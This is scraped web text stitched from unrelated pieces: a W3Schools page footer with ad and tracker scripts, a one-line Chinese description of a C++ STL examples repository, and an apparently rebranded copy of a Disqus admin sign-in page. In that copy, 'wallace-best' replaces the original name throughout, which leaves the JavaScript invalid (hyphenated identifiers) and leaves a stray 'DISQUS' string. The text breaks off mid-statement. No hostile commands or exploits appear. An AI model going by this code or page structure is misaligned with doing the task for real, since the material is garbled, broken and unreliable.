href="/howto/howto_css_dropdown.asp">Dropdowns</a><br> <a href="/howto/howto_js_accordion.asp">Accordions</a><br> <a href="/howto/howto_js_sidenav.asp">Side Navigation</a><br> <a href="/howto/howto_js_topnav.asp">Top Navigation</a><br> <a href="/howto/howto_css_modals.asp">Modal Boxes</a><br> <a href="/howto/howto_js_progressbar.asp">Progress Bars</a><br> <a href="/howto/howto_css_parallax.asp">Parallax</a><br> <a href="/howto/howto_css_login_form.asp">Login Form</a><br> <a href="/howto/howto_html_include.asp">HTML Includes</a><br> <a href="/howto/howto_google_maps.asp">Google Maps</a><br> <a href="/howto/howto_js_rangeslider.asp">Range Sliders</a><br> <a href="/howto/howto_css_tooltip.asp">Tooltips</a><br> <a href="/howto/howto_js_slideshow.asp">Slideshow</a><br> <a href="/howto/howto_js_sort_list.asp">Sort List</a><br> </div> </div> --> <!-- <div class="sidesection w3-round" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container ws-black" style="border-top-right-radius:5px;border-top-left-radius:5px;"> <h5><a href="/cert/default.asp" class="w3-hover-text-white">Certificates</a></h5> </div> <div class="w3-border" style="border-bottom-right-radius:5px;border-bottom-left-radius:5px;"> <a href="/cert/cert_html.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">HTML</a> <a href="/cert/cert_css.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">CSS</a> <a href="/cert/cert_javascript.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">JavaScript</a> <a href="/cert/cert_frontend.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Front End</a> <a href="/cert/cert_python.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Python</a> <a href="/cert/cert_sql.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">SQL</a> <a href="/cert/default.asp" class="w3-button ws-grey w3-block" style="text-decoration:none;">And more</a> </div> </div> --> <div id="stickypos" class="sidesection" style="text-align:center;position:sticky;top:50px;"> <div id="stickyadcontainer" style="width: 653.984px;"> <div style="position:relative;margin:auto;"> <div id="adngin-sidebar_sticky-0-stickypointer" style=""><div id="adngin-sidebar_sticky-0" style=""><div id="sn_ad_label_adngin-sidebar_sticky-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div></div> <script> function secondSnigel() { if(window.adngin && window.adngin.adnginLoaderReady) { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } } else { window.addEventListener('adnginLoaderReady', function() { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } }); } } </script> </div> </div> </div> <script> uic_r_c() </script> </div> </div> <div id="footer" class="footer w3-container w3-white"> <hr> <div style="overflow:auto"> <div class="bottomad"> <!-- BottomMediumRectangle --> <!--<pre>bottom_medium_rectangle, all: [970,250][300,250][336,280]</pre>--> <div id="adngin-bottom_left-0" style="padding:0 10px 10px 0;float:left;width:auto;" data-google-query-id="CJbA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-bottom_left-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" title="3rd party ad content" width="300" height="250" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="a" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> <!-- adspace bmr --> <!-- RightBottomMediumRectangle --> <!--<pre>right_bottom_medium_rectangle, desktop: [300,250][336,280]</pre>--> <div id="adngin-bottom_right-0" style="padding:0 10px 10px 0;float:left;width:auto;"><div id="sn_ad_label_adngin-bottom_right-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div> </div> </div> <hr> <div class="w3-row-padding w3-center w3-small" style="margin:0 -16px;"> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="javascript:void(0);" onclick="displayError();return false" style="white-space:nowrap;text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px;">Report Error</a> </div> <!-- <div class="w3-col l3 m3 s12"> <a class="w3-button w3-light-grey w3-block" href="javascript:void(0);" target="_blank" onclick="printPage();return false;" style="text-decoration:none;margin-top:1px;margin-bottom:1px">PRINT PAGE</a> </div> --> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/forum/default.asp" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Forum</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/about/default.asp" target="_top" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">About</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="https://shop.w3schools.com/" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Shop</a> </div> </div> <hr> <div class="ws-grey w3-padding w3-margin-bottom" id="err_form" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright w3-large">×</span> <h2>Report Error</h2> <p>If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:</p> <p>help@w3schools.com</p> <br> <!-- <h2>Your Suggestion:</h2> <form> <div class="w3-section"> <label for="err_email">Your E-mail:</label> <input class="w3-input w3-border" type="text" style="margin-top:5px;width:100%" id="err_email" name="err_email"> </div> <div class="w3-section"> <label for="err_email">Page address:</label> <input class="w3-input w3-border" type="text" style="width:100%;margin-top:5px" id="err_url" name="err_url" disabled="disabled"> </div> <div class="w3-section"> <label for="err_email">Description:</label> <textarea rows="10" class="w3-input w3-border" id="err_desc" name="err_desc" style="width:100%;margin-top:5px;resize:vertical;"></textarea> </div> <div class="form-group"> <button type="button" class="w3-button w3-dark-grey" onclick="sendErr()">Submit</button> </div> <br> </form> --> </div> <div class="w3-container ws-grey w3-padding" id="err_sent" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright">×</span> <h2>Thank You For Helping Us!</h2> <p>Your message has been sent to W3Schools.</p> </div> <div class="w3-row w3-center w3-small"> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Tutorials</h5> <a href="/html/default.asp">HTML Tutorial</a><br> <a href="/css/default.asp">CSS Tutorial</a><br> <a href="/js/default.asp">JavaScript Tutorial</a><br> <a href="/howto/default.asp">How To Tutorial</a><br> <a href="/sql/default.asp">SQL Tutorial</a><br> <a href="/python/default.asp">Python Tutorial</a><br> <a href="/w3css/default.asp">W3.CSS Tutorial</a><br> <a href="/bootstrap/bootstrap_ver.asp">Bootstrap Tutorial</a><br> <a href="/php/default.asp">PHP Tutorial</a><br> <a href="/java/default.asp">Java Tutorial</a><br> <a href="/cpp/default.asp">C++ Tutorial</a><br> <a href="/jquery/default.asp">jQuery Tutorial</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top References</h5> <a href="/tags/default.asp">HTML Reference</a><br> <a href="/cssref/default.asp">CSS Reference</a><br> <a href="/jsref/default.asp">JavaScript Reference</a><br> <a href="/sql/sql_ref_keywords.asp">SQL Reference</a><br> <a href="/python/python_reference.asp">Python Reference</a><br> <a href="/w3css/w3css_references.asp">W3.CSS Reference</a><br> <a href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap Reference</a><br> <a href="/php/php_ref_overview.asp">PHP Reference</a><br> <a href="/colors/colors_names.asp">HTML Colors</a><br> <a href="/java/java_ref_keywords.asp">Java Reference</a><br> <a href="/angular/angular_ref_directives.asp">Angular Reference</a><br> <a href="/jquery/jquery_ref_overview.asp">jQuery Reference</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Examples</h5> <a href="/html/html_examples.asp">HTML Examples</a><br> <a href="/css/css_examples.asp">CSS Examples</a><br> <a href="/js/js_examples.asp">JavaScript Examples</a><br> <a href="/howto/default.asp">How To Examples</a><br> <a href="/sql/sql_examples.asp">SQL Examples</a><br> <a href="/python/python_examples.asp">Python Examples</a><br> <a href="/w3css/w3css_examples.asp">W3.CSS Examples</a><br> <a href="/bootstrap/bootstrap_examples.asp">Bootstrap Examples</a><br> <a href="/php/php_examples.asp">PHP Examples</a><br> <a href="/java/java_examples.asp">Java Examples</a><br> <a href="/xml/xml_examples.asp">XML Examples</a><br> <a href="/jquery/jquery_examples.asp">jQuery Examples</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <!-- <h4>Web Certificates</h4> <a href="/cert/default.asp">HTML Certificate</a><br> <a href="/cert/default.asp">CSS Certificate</a><br> <a href="/cert/default.asp">JavaScript Certificate</a><br> <a href="/cert/default.asp">SQL Certificate</a><br> <a href="/cert/default.asp">Python Certificate</a><br> <a href="/cert/default.asp">PHP Certificate</a><br> <a href="/cert/default.asp">Bootstrap Certificate</a><br> <a href="/cert/default.asp">XML Certificate</a><br> <a href="/cert/default.asp">jQuery Certificate</a><br> <a href="//www.w3schools.com/cert/default.asp" class="w3-button w3-margin-top w3-dark-grey" style="text-decoration:none"> Get Certified »</a> --> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Web Courses</h5> <a href="https://courses.w3schools.com/courses/html" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on html course link in footer');">HTML Course</a><br> <a href="https://courses.w3schools.com/courses/css" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on css course link in footer');">CSS Course</a><br> <a href="https://courses.w3schools.com/courses/javascript" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on javascript course link in footer');">JavaScript Course</a><br> <a href="https://courses.w3schools.com/programs/front-end" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Front End course link in footer');">Front End Course</a><br> <a href="https://courses.w3schools.com/courses/sql" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on sql course link in footer');">SQL Course</a><br> <a href="https://courses.w3schools.com/courses/python" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on python course link in footer');">Python Course</a><br> <a href="https://courses.w3schools.com/courses/php" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on php course link in footer');">PHP Course</a><br> <a href="https://courses.w3schools.com/courses/jquery" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on jquery course link in footer');">jQuery Course</a><br> <a href="https://courses.w3schools.com/courses/java" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Java course link in footer');">Java Course</a><br> <a href="https://courses.w3schools.com/courses/cplusplus" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on C++ course link in footer');">C++ Course</a><br> <a href="https://courses.w3schools.com/courses/c-sharp" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on bootstrap C# link in footer');">C# Course</a><br> <a href="https://courses.w3schools.com/courses/xml" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on xml course link in footer');">XML Course</a><br> <a href="https://courses.w3schools.com/" target="_blank" class="w3-button w3-margin-top ws-black ws-hover-black w3-round" style="text-decoration:none" onclick="ga('send', 'event', 'Courses' , 'Clicked on get certified button in footer');"> Get Certified »</a> </div> </div> </div> <hr> <div class="w3-center w3-small w3-opacity"> W3Schools is optimized for learning and training. Examples might be simplified to improve reading and learning. Tutorials, references, and examples are constantly reviewed to avoid errors, but we cannot warrant full correctness of all content. While using W3Schools, you agree to have read and accepted our <a href="/about/about_copyright.asp">terms of use</a>, <a href="/about/about_privacy.asp">cookie and privacy policy</a>.<br><br> <a href="/about/about_copyright.asp">Copyright 1999-2022</a> by Refsnes Data. All Rights Reserved.<br> <a href="//www.w3schools.com/w3css/default.asp">W3Schools is Powered by W3.CSS</a>.<br><br> </div> <div class="w3-center w3-small"> <a href="//www.w3schools.com"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a></div><a href="//www.w3schools.com"> <br><br> </a></div><a href="//www.w3schools.com"> </a></div><iframe name="__tcfapiLocator" style="display: none;"></iframe><iframe name="__uspapiLocator" style="display: none;"></iframe><a href="//www.w3schools.com"> <script src="/lib/w3schools_footer.js?update=20220202"></script> <script> MyLearning.loadUser('footer'); function docReady(fn) { document.addEventListener("DOMContentLoaded", fn); if (document.readyState === "interactive" || document.readyState === "complete" ) { fn(); } } uic_r_z(); uic_r_d() </script><iframe src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" style="visibility: hidden; display: none;"></iframe> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </a><script type="text/javascript" src="https://geo.moatads.com/n.js?e=35&ol=3318087536&qn=%604%7BZEYwoqI%24%5BK%2BdLLU)%2CMm~tM!90vv9L%24%2FoDb%2Fz(lKm3GFlNUU%2Cu%5Bh_GcS%25%5BHvLU%5B4(K%2B%7BgeFWl_%3DNqUXR%3A%3D%2BAxMn%3Ch%2CyenA8p%2FHm%24%60%233P(ry5*ZRocMp1tq%5BN%7Bq%60RP%3CG.ceFW%7CoG%22mxT%3Bwv%40V374BKm55%3D%261fp%5BoU5t(KX%3C%3Ce%24%26%3B%23wPjrBEe31k5X%5BG%5E%5B)%2C2iVSWf3Stnq%263t!9jr%7BRzI%2C%7BOCb%25%24(%3DNqU%60W5u%7Bo(zs1CoK%2Bdr%5BG)%2C3ii)RGL3emgSuRVE&tf=1_nMzjG---CSa7H-1SJH-bW7qhB-LRwqH-nMzjG-&vi=111111&rb=2-90xv0J4P%2FoMsPm8%2BZbNmT2EB%2BBOA3JNdQL68hLPh4bg2%2F%2FnQIIWF3Q%3D%3D&rs=1-iHtHGE9B1zA1OQ%3D%3D&sc=1&os=1-3g%3D%3D&qp=10000&is=BBBBB2BBEYBvGl2BBCkqtUTE1RmsqbKW8BsrBu0rCFE48CRBeeBS2hWTMBBQeQBBn2soYggyUig0CBlWZ0uBBCCCCCCOgRBBiOfnE6Bkg7Oxib8MxOtJYHCBdm5kBhIcC9Y8oBXckXBR76iUUsJBCBBBBBBBBBWBBBj3BBBZeGV2BBBCMciUBBBjgEBBBBBB94UMgTdJMtEcpMBBBQBBBniOccBBBBBB47kNwxBbBBBBBBBBBhcjG6BBJM2L4Bk8BwCBQmIoRBBCzBz1BBCTClBBrbGBC4ehueB57NG9aJeRzBqEKBBBBBBB&iv=8&qt=0&gz=0&hh=0&hn=0&tw=&qc=0&qd=0&qf=1240&qe=883&qh=1280&qg=984&qm=-330&qa=1280&qb=1024&qi=1280&qj=984&to=000&po=1-0020002000002120&vy=ot%24b%5Bh%40%22oDgO%3DLlE6%3Avy%2CUitwb4%5Du!%3CFo%40Y_3r%3F%5DAY~MhXyz%26_%5B*Rp%7C%3EoDKmsiFDRz%5EmlNM%22%254ZpaR%5BA7Do%2C%3Bg%2C%2C%40W7RbzTmejO%3Def%2C%7Bvp%7C9%7C_%3Bm_Qrw5.W%2F84VKp%40i6AKx!ehV%7Du!%3CFo%40pF&ql=%3B%5BpwxnRd%7Dt%3Aa%5DmJVOG)%2C~%405%2F%5BGI%3F6C(TgPB*e%5D1(rI%24(rj2Iy!pw%40aOS%3DyNX8Y%7BQgPB*e%5D1(rI%24(rj%5EB61%2F%3DSqcMr1%7B%2CJA%24Jz_%255tTL%3Fwbs_T%234%25%60X%3CA&qo=0&qr=0&i=TRIPLELIFT1&hp=1&wf=1&ra=1&pxm=8&sgs=3&vb=6&kq=1&hq=0&hs=0&hu=0&hr=0&ht=1&dnt=0&bq=0&f=0&j=https%3A%2F%2Fwww.google.com&t=1650718754860&de=466991431602&m=0&ar=bee2df476bf-clean&iw=2a1d5c5&q=2&cb=0&ym=0&cu=1650718754860&ll=3&lm=0&ln=1&r=0&em=0&en=0&d=6737%3A94724%3Aundefined%3A10&zMoatTactic=undefined&zMoatPixelParams=aid%3A29695277962791520917040%3Bsr%3A10%3Buid%3A0%3B&zMoatOrigSlicer1=2662&zMoatOrigSlicer2=39&zMoatJS=-&zGSRC=1&gu=https%3A%2F%2Fwww.w3schools.com%2Ftags%2Ftag_p.asp&id=1&ii=4&bo=2662&bd=w3schools.com&gw=triplelift879988051105&fd=1&ac=1&it=500&ti=0&ih=1&pe=1%3A512%3A512%3A1026%3A846&jm=-1&fs=198121&na=2100642455&cs=0&ord=1650718754860&jv=1483802810&callback=DOMlessLLDcallback_5147906"></script><iframe src="https://www.google.com/recaptcha/api2/aframe" width="0" height="0" style="display: none;"></iframe></body><iframe sandbox="allow-scripts allow-same-origin" id="936be7941bd9c5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://jp-u.openx.net/w/1.0/pd?plm=6&ph=8a7ca719-8c2c-4c16-98ad-37ac6dbf26e9&gdpr=0&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="94da8182082e79b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eus.rubiconproject.com/usync.html?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="950ad185776f97c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://cdn.connectad.io/connectmyusers.php?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="960961bdb263a5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=157369&gdpr=0&gdpr_consent=&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="973d77507d8ed2c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-index_pm-db5_ym_rbd_n-vmg_ox-db5_smrt_an-db5_3lift"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="986df094b3ccc6f" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://biddr.brealtime.com/check.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="9984b091a86efa7" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://js-sec.indexww.com/um/ixmatch.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="1004b17db44af55b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://csync.smilewanted.com?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="101af22cac10bcfd" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://onetag-sys.com/usync/?cb=1650718752982&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="10290b51ae900f2b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eb2.3lift.com/sync?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="103d27603dbc3983" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://acdn.adnxs.com/dmp/async_usersync.html"> </iframe></html>
wuyong66 / STL本例程提供了C++的STL常用数据结构及其算法的使用范例,比如vector、string、list、forward_list、deque、queue、stack、map、set、multimap、multiset、tuple、bitset的使用范例,以及algorithm常用的find、sort、copy、replace、count、accumulate......等泛型算法的使用范例。为面试笔试编程题提供便利
Wallace-Best / Best<!DOCTYPE html>Wallace-Best <html lang="en-us"> <head> <link rel="node" href="//a.wallace-bestcdn.com/1391808583/img/favicon16-32.ico" type="image/vnd.microsoft.icon"> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <meta http-equiv="Content-Language" content="en-us"> <meta name="keywords" content="Wallace Best, wallace-best.com, comments, blog, blogs, discussion"> <meta name="description" content="Wallace Best's Network is a global comment system that improves discussion on websites and connects conversations across the web."> <meta name="world" value="notranslate" /> <title> WB Admin | Sign-in </title> <script type="text/javascript" charset="utf-8"> document.domain = 'wallace-best.com'; if (window.context === undefined) { var context = {}; } context.wallace-bestUrl = 'https://wallace-best.com'; context.wallace-bestDomain = 'wallace-best.com'; context.mediaUrl = '//a.wallace-bestcdn.com/1391808583/'; context.uploadsUrl = '//a.wallace.bestcdn.com/uploads'; context.sslUploadsUrl = '//a.wallace-bestcdn.com/uploads'; context.loginUrl = 'https://wallace-best.com/profile/login/'; context.signupUrl = 'https://wallace-best.com/profile/signup/'; context.apiUrl = '//wallace-best.com/api/3.0/'; context.apiPublicKey = 'Y1S1wGIzdc63qnZ5rhHfjqEABGA4ZTDncauWFFWWTUBqkmLjdxloTb7ilhGnZ7z1'; context.forum = null; context.adminUrl = 'https://wallace-best.com'; context.switches = { "explore_dashboard_2":false, "partitions:api:posts/countPendin":false, "use_rs_paginator_30m":false, "inline_defaults_css":false, "evm_publisher_reports":true, "postsort":false, "enable_entropy_filtering":false, "exp_newnav":true, "organic_discovery_experiments":false, "realtime_for_oldies":false, "firehose_push":true, "website_addons":true, "addons_ab_test":false, "firehose_gnip_http":true, "community_icon":true, "pub_reporting_v2":true, "pd_thumbnail_settings":true, "algorithm_experiments":false, "discovery_log_to_browser":false, "is_last_modified":true, "embed_category_display":false, "partitions:api:forums/listPosts":false, "shardpost":true, "limit_get_posts_days_30d":true, "next_realtime_anim_disabled":false, "juggler_thread_onReady":true, "firehose_realertime":false, "loginas":true, "juggler_enabled":true, "user_onboarding":true, "website_follow_redirect":true, "raven_js":true, "shardpost:index":true, "filter_ads_by_country":true, "new_sort_paginator":true, "threadident_reads":true, "new_media":true, "enable_link_affiliation":true, "show_unapproved":false, "onboarding_profile_editing":true, "partitions":true, "dotcom_marketing":true, "discovery_analytics":true, "exp_newnav_disable":true, "new_community_nav_embed":true, "discussions_tab":true, "embed_less_refactor":false, "use_rs_paginator_60m":true, "embed_labs":false, "auto_flat_sort":false, "disable_moderate_ascending":true, "disable_realtime":true, "partitions:api":true, "digest_thread_votes":true, "shardpost:paginator":false, "debug_js":false, "exp_mn2":false, "limit_get_posts_days_7d":true, "pinnedcomments":false, "use_queue_b":true, "new_embed_profile":true, "next_track_links":true, "postsort:paginator":true, "simple_signup":true, "static_styles":true, "stats":true, "discovery_next":true, "override_skip_syslog":false, "show_captcha_on_links":true, "exp_mn2_force":false, "next_dragdrop_nag":true, "firehose_gnip":true, "firehose_pubsub":true, "rt_go_backend":false, "dark_jester":true, "next_logging":false, "surveyNotice":false, "tipalti_payments":true, "default_trusted_domain":false, "disqus_trends":false, "log_large_querysets":false, "phoenix":false, "exp_autoonboard":true, "lazy_embed":false, "explore_dashboard":true, "partitions:api:posts/list":true, "support_contact_with_frames":true, "use_rs_paginator_5m":true, "limit_textdigger":true, "embed_redirect":false, "logging":false, "exp_mn2_disable":true, "aggressive_embed_cache":true, "dashboard_client":false, "safety_levels_enabled":true, "partitions:api:categories/listPo":false, "next_show_new_media":true, "next_realtime_cap":false, "next_discard_low_rep":true, "next_streaming_realtime":false, "partitions:api:threads/listPosts":false, "textdigger_crawler":true }; context.urlMap = { 'signup': 'https://wallace-best.com/admin/signup/', 'dashboard': 'http://wallace-best.com/dashboard/', 'admin': 'http://wallace-best.com/admin/', 'logout': '//wallace-best.com/logout/', 'home': 'https://wallace-best.com', 'for_websites': 'http://wallace-best.com/websites/', 'login': 'https://wallace-best.com/profile/login/' }; context.navMap = { 'signup': '', 'dashboard': '', 'admin': '', 'addons': '' }; </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/auth_context.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="//a.wallace-bestdn.com/1391808583/build/css/b31fb2fa3905.css" type="text/css" /> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/build/js/5ee01877d131.js"></script> <script> // // shared/foundation.js // // This file contains the absolute minimum code necessary in order // to create a new application in the WALLACE-BEST namespace. // // You should load this file *before* anything that modifies the WALLACE-BEST global. // /*jshint browser:true, undef:true, strict:true, expr:true, white:true */ /*global wallace-best:true */ var WALLACE-BEST = (function (window, undefined) { "use strict"; var wallace-best = window.wallace-best || {}; // Exception thrown from wallace-best.assert method on failure wallace-best.AssertionError = function (message) { this.message = message; }; wallace-best.AssertionError.prototype.toString = function () { return 'Assertion Error: ' + (this.message || '[no message]'); }; // Raises a wallace-best.AssertionError if value is falsy wallace-best.assert = function (value, message, soft) { if (value) return; if (soft) window.console && window.console.log("DISQUS assertion failed: " + message); else throw new wallace-best.AssertionError(message); }; // Functions to clean attached modules (used by define and cleanup) var cleanFuncs = []; // Attaches a new public interface (module) to the wallace-best namespace. // For example, if wallace-best object is { 'a': { 'b': {} } }: // // wallace-best.define('a.b.c', function () { return { 'd': 'hello' }; }); will transform it into // -> { 'a': { 'b': { 'c': { 'd' : hello' }}}} // // and wallace-best.define('a', function () { return { 'x': 'world' }; }); will transform it into // -> { 'a': { 'b': {}}, 'x': 'world' } // // Attach modules to wallace-best using only this function. wallace-best.define = function (name, fn) { /*jshint loopfunc:true */ if (typeof name === 'function') { fn = name; name = ''; } var parts = name.split('.'); var part = parts.shift(); var cur = wallace-best; var exports = (fn || function () { return {}; }).call({ overwrites: function (obj) { obj.__overwrites__ = true; return obj; } }, window); while (part) { cur = (cur[part] ? cur[part] : cur[part] = {}); part = parts.shift(); } for (var key in exports) { if (!exports.hasOwnProperty(key)) continue; /*jshint eqnull:true */ if (!exports.__overwrites__ && cur[key] !== null) { wallace-best.assert(!cur.hasOwnProperty(key), 'Unsafe attempt to redefine existing module: ' + key, true /* soft assertion */); } cur[key] = exports[key]; cleanFuncs.push(function (cur, key) { return function () { delete cur[key]; }; }(cur, key)); } return cur; }; // Alias for wallace-best.define for the sake of semantics. // You should use it when you need to get a reference to another // wallace-best module before that module is defined: // // var collections = wallace-best.use('lounge.collections'); // // wallace-best.use is a single argument function because we don't // want to encourage people to use it instead of wallace-best.define. wallace-best.use = function (name) { return wallace-best.define(name); }; wallace-best.cleanup = function () { for (var i = 0; i < cleanFuncs.length; i++) { cleanFuncs[i](); } }; return wallace-best; })(window); /*jshint expr:true, undef:true, strict:true, white:true, browser:true */ /*global wallace-best:false*/ // // shared/corefuncs.js // wallace-best.define(function (window, undefined) { "use strict"; var wallace-best = window.wallace-best; var document = window.document; var head = document.getElementsByTagName('head')[0] || document.body; var jobs = { running: false, timer: null, queue: [] }; var uid = 0; // Taken from _.uniqueId wallace-best.getUid = function (prefix) { var id = ++uid + ''; return prefix ? prefix + id : id; }; /* Defers func() execution until cond() is true */ wallace-best.defer = function (cond, func) { function beat() { /*jshint boss:true */ var queue = jobs.queue; if (queue.length === 0) { jobs.running = false; clearInterval(jobs.timer); } for (var i = 0, pair; pair = queue[i]; i++) { if (pair[0]()) { queue.splice(i--, 1); pair[1](); } } } jobs.queue.push([cond, func]); beat(); if (!jobs.running) { jobs.running = true; jobs.timer = setInterval(beat, 100); } }; wallace-best.isOwn = function (obj, key) { // The object.hasOwnProperty method fails when the // property under consideration is named 'hasOwnProperty'. return Object.prototype.hasOwnProperty.call(obj, key); }; wallace-best.isString = function (str) { return Object.prototype.toString.call(str) === "[object String]"; }; /* * Iterates over an object or a collection and calls a callback * function with each item as a parameter. */ wallace-best.each = function (collection, callback) { var length = collection.length, forEach = Array.prototype.forEach; if (!isNaN(length)) { // Treat collection as an array if (forEach) { forEach.call(collection, callback); } else { for (var i = 0; i < length; i++) { callback(collection[i], i, collection); } } } else { // Treat collection as an object for (var key in collection) { if (wallace-best.isOwn(collection, key)) { callback(collection[key], key, collection); } } } }; // Borrowed from underscore wallace-best.extend = 